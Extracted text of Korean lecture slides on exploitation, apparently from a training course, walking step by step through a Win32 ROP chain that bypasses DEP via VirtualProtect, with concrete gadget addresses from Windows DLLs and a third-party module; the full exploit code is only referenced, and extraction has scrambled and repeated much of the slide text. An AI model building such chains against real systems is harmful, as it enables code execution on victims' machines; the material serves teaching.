  • 59. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -1 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 0x5AD79277: # PUSH ESP # MOV EAX,EDX # POP EDI # RETN 다섯번째 [Module: 인자값 uxtheme.생성 dll] 0x77C1E842: # PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll] 0x1001653D: # ADD ESP,20 # RETN [Module: MSRMfilter03.dll] 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 두번째 인자 예약 공간에 값을 덮어씀 ESP를 레지스터에 저장하는 GadgetA-1 인자 생성 코드로 점프하는 GadgetA-2
  • 60. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -1 [ROP-3 코드 참조]
  • 61. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -2 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 두번째 인자 예약 공간에 값을 덮어씀
  • 62. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -2 0x1002DC4C: # ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.세번째 인자값 dll] 생성 0x77E84115: # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module: RPCRT4.dll] 0x763C982F: # XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll] 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 두번째 인자 예약 공간에 값을 덮어씀 첫번째 인자(쉘코드의 주소)값을 생성하는 GadgetC-1 첫번째 인자 예약 공간에 값을 덮어 씌우는 GadgetC-2 첫번째 인자 예약 공간의 주소를 생성하는 GadgetC-3
  • 63. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -2 [ROP-4 코드 참조]
  • 64. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -3 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀
  • 65. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -3 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 ESI 레지스터 값을 다시 되돌려놓는 GadgetD-1 0x775D131E: # PUSH EAX # POP ESI # RETN [Module: ole32.dll] 0x77157D1D: # INC ESI # RETN [Module: OLEAUT32.dll] 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 ESI를 증가시켜 두번째 인자 예약 공간을 가리키도록 하는 GadgetD-2 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 x4 반복(4bytes)
  • 66. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -3 [ROP-5코드 참조]
  • 67. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -4 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E
  • 68. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -4 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 ESI 레지스터 값을 다시 되돌려놓는 GadgetE-1 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E 0x775D131E: # PUSH EAX # POP ESI # RETN [Module: ole32.dll] 0x100307A9: # XOR EAX,EAX # RETN [Module: MSRMfilt.dll] 0x1002DC4C: # ADD EAX,100 # POP EBP # RETN [Module: MSRMfilt.dll] 세번째 인자값 300을 생성하는 GadgetE-2 X 3 반복
  • 69. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -5 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F
  • 70. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -5 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 Gadget F ESI 레지스터 값을 다시 되돌려놓는 GadgetF-1 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E 0x775D131E: # PUSH EAX # POP ESI # RETN [Module: ole32.dll] 0x100307A9: # XOR EAX,EAX # RETN [Module: MSRMfilt.dll] 0x1002DC4C: # ADD EAX,40 # POP EBP # RETN [Module: MSRMfilt.dll] 세번째 인자값 300을 생성하는 GadgetF-2
  • 71. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -6 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G
  • 72. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -6 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G 5번째 인자값은 별도의 Gadget 없이 초기 설정 가능
  • 73. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -7 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H
  • 74. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -7 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H 0x73DF5CA8: # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN [Module: MFC42.dll] 0x775D12F1: # SUB EAX,4 # RETN [Module: ole32.dll] ESP 를 VirtualProtect( ) 시작 위치로 변경하는 GadgetH-1
  • 75. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -8 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H Gadget B
  • 76. Track3. Exploitation Bypassing DEP by using ROP Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Step by Step -9 세번째 인자값 생성 세번째 인자 예약 공간에 값을 덮어씀 네번째 인자값 생성 네번째 인자 예약 공간에 값을 덮어씀 다섯번째 인자값 생성 다섯번째 인자 예약 공간에 값을 덮어씀 ESP 값을 VirtualProtect( ) 시작 위치로 조작 / 리턴 Junk + NOP Shell Code ESP 를 레지스터에 저장 인자 생성 코드로 점프 EIP Gadget A VirtualProtect( )를 가리키는 포인터 첫번째 인자 예약 공간 두번째 인자 예약 공간 세번째 인자 예약 공간 네번째 인자 예약 공간 다섯번째 인자 예약 공간 첫번째 인자값 생성 Gadget C 첫번째 인자 예약 공간에 값을 덮어씀 두번째 인자값 생성 Gadget D 두번째 인자 예약 공간에 값을 덮어씀 Gadget E Gadget F Gadget G Gadget H Gadget B Execution
  • 77. Track3. Exploitation Bypassing DEP by using ROP Step by Step -9 Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) [ROP-8(final)코드 참조]
  • 78. Track3. Exploitation Introduction Track3-1 Win32 Overwrite RET Overwrite SEH Egg-Hunting ROOriePn( tReedt urn Programming) Heap Spray Track3-2 *NIX Overwrite RET Ret-to-LibC Overwrite .dtors Overwrite GOT Track3-3 ARM Overwrite RET Ret-to-LibC ROOriePn t(Rede turn Programming) Bypassing DEP by using ROP Call VirtualProtectEX Change the protection on a region of committed page and Return to start point of shell code , Execute it
  • 79. Thank You :) See you the week after next week